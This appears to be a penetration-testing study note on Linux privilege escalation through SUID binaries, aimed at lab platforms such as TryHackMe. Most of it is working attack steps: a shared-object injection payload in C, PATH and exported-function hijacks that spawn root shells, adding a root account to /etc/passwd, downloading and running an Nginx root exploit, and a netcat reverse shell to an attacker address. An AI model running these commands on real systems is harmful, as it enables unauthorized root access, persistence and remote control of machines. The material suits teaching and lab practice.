---
description: find / -perm -u=s -type f 2>/dev/null
---

# SUID

## Enumeration

Search for SUID files:

```bash
find / -perm -u=s -type f 2>/dev/null
```

## Method 1: GTFOBins

Search for SUID payloads:

{% embed url="https://gtfobins.github.io/" %}
GTFOBins
{% endembed %}

For example, if `/bin/systemctl` is a SUID binary, use the following method to achieve **arbitrary file read**:

```bash
$ TF=$(mktemp).service
$ echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
$ /bin/systemctl link $TF
$ /bin/systemctl enable --now $TF
```

## Method 2: Shared Object Injection <a href="#lecture_heading" id="lecture_heading"></a>

Suppose `/usr/local/bin/suid-so` is a SUID binary that calls an non-existent shared object. Use `strace` to examine the **system calls** that this binary executes:

```bash
strace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"
```

From the output, notice that a `.so` file is not present in the target system and this path is from a **writable directory**:

![strace](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWVjG_njKgBtvmnKaJh%2F-MfiYZHtLj5_Wr-S7_vp%2F-Mfi_D7_XAD9PQvNr9pE%2Fimage.png?alt=media\&token=8a9e60c4-9964-405e-a9d3-1b93d2ad9f4e)

The idea is to generate a privesc payload with the path `/home/user/.config/libcalc.so`. Save the following C code as `libcalc.c`:

{% code title="libcalc.c" %}
```c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
{% endcode %}

Compile this source code to a shared object:

```bash
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
```

Execute the SUID binary in order to trigger the exploit:

```bash
/usr/local/bin/suid-so
```

And we will get a root shell.

## Method 3: Binary Symlinks

{% embed url="https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html" %}
Nginx privesc
{% endembed %}

Binary Symlinks is a **Nginx vulnerability** that abuses **Nginx log permissions**. If the attack succeeds, it will escalate the user privilege from `www-data` to `root`. The downside is that we have to **wait until 6:25am** in real life for this exploit to be triggered.

&#x20;Enumerate Nginx version:

```bash
dpkg -l | grep nginx
```

If this version of Nginx is vulnerable, download the exploit script:

```bash
wget https://raw.githubusercontent.com/ret2basic/Pentest-Exploit-Lookup/main/Nginx/nginxed-root.sh
```

Run the exploit:

```bash
./nginxed-root.sh /var/log/nginx/error.log
```

This exploit will be triggered at 6:25am by default.

## Method 4: Environmental Variables

### Case 1: SUID binary calls relative path instead of absolute path

Suppose `/usr/local/bin/suid-env` is a SUID binary that executes `service apache2 start`. Strings it:

![strings](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWVjG_njKgBtvmnKaJh%2F-MficXPOmDRRC5i3D-Rz%2F-MfivkJKKy8UaRhuCmxC%2Fimage.png?alt=media\&token=5c40c74f-6c6d-411d-8d24-4291c3ce8f3c)

Note that `service apache2 start` is called using **relative path**. The idea is to forge a malicious `service` binary in a writable directory and add that directory to the beginning of the `$PATH` variable. When this SUID binary executes `service apache2 start`, it will execute the malicious `service` binary instead of the legit `/usr/sbin/service`.

In `/tmp`, create a malicious C source file:

```bash
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
```

Compile it:

```bash
gcc /tmp/service.c -o /tmp/service
```

Add `/tmp` to the beginning of the `$PATH` variable:

```bash
export PATH=/tmp:$PATH
```

Execute the SUID binary:

```bash
/usr/local/bin/suid-env
```

Now we get a root shell.

The mitigation is use absolute path in the binary, for example, `/usr/sbin/service apache2 start`.

### Case 2: SUID binary calls absolute path but still not good enough

Suppose `/usr/local/bin/suid-env2` is a SUID binary that executes `/usr/sbin/service apache2 start`. Strings it:

![strings](https://3988450783-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWVjG_njKgBtvmnKaJh%2F-MfjHduyvu6mF8Ijoqas%2F-MfjJi-a8GFdzMCLT82r%2Fimage.png?alt=media\&token=da689265-77d5-4a8b-8f5e-45f896b403d0)

Although this SUID binary calls the absolute path correctly, we are still able to spawn a root shell from it.

Define a shell function containing privesc payload:

```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
```

Export `/usr/sbin/service` as environmental variable. Here `-f` means "refer to shell functions":

```bash
export -f /usr/sbin/service
```

Execute the SUID binary:

```bash
/usr/local/bin/suid-env2
```

Now we get a root shell.

## Method 5: Text Editors (Nano, Vim, etc)

Suppose `/bin/nano` is SUID, then we can add a root user to the victim system. The idea is to add a new user with appropriate permissions and valid password hash to the `/etc/password` file.

Generate a valid hash of the password "pom":

```bash
perl -e 'print crypt("pom", "pom"), "\n"'
```

The generated password hash is `poD7u2nSiBSLk`. Open /etc/passwd using Nano:

```bash
nano /etc/passwd
```

Append the following entry to `/etc/passwd`:

```
pom:poD7u2nSiBSLk:0:0:root:/root:/bin/bash
```

Now we can switch to the `pom` user who has root permissions:

```bash
su pom
# password = pom
```

## Method 6: Netcat Backdoor

One way to implant a backdoor to the victim machine is making `/bin/nc` SUID. Then we can catch a root reverse shell by executing the following command on the victim machine:

```bash
nc -e /bin/bash <attacker_ip> 443
```

## Challenge: TryHackMe - Vulnversity

{% embed url="https://www.ctfwriteup.com/tryhackme/tcm-linux-privesc-course/vulnversity-easy" %}
TryHackMe - Vulnversity
{% endembed %}
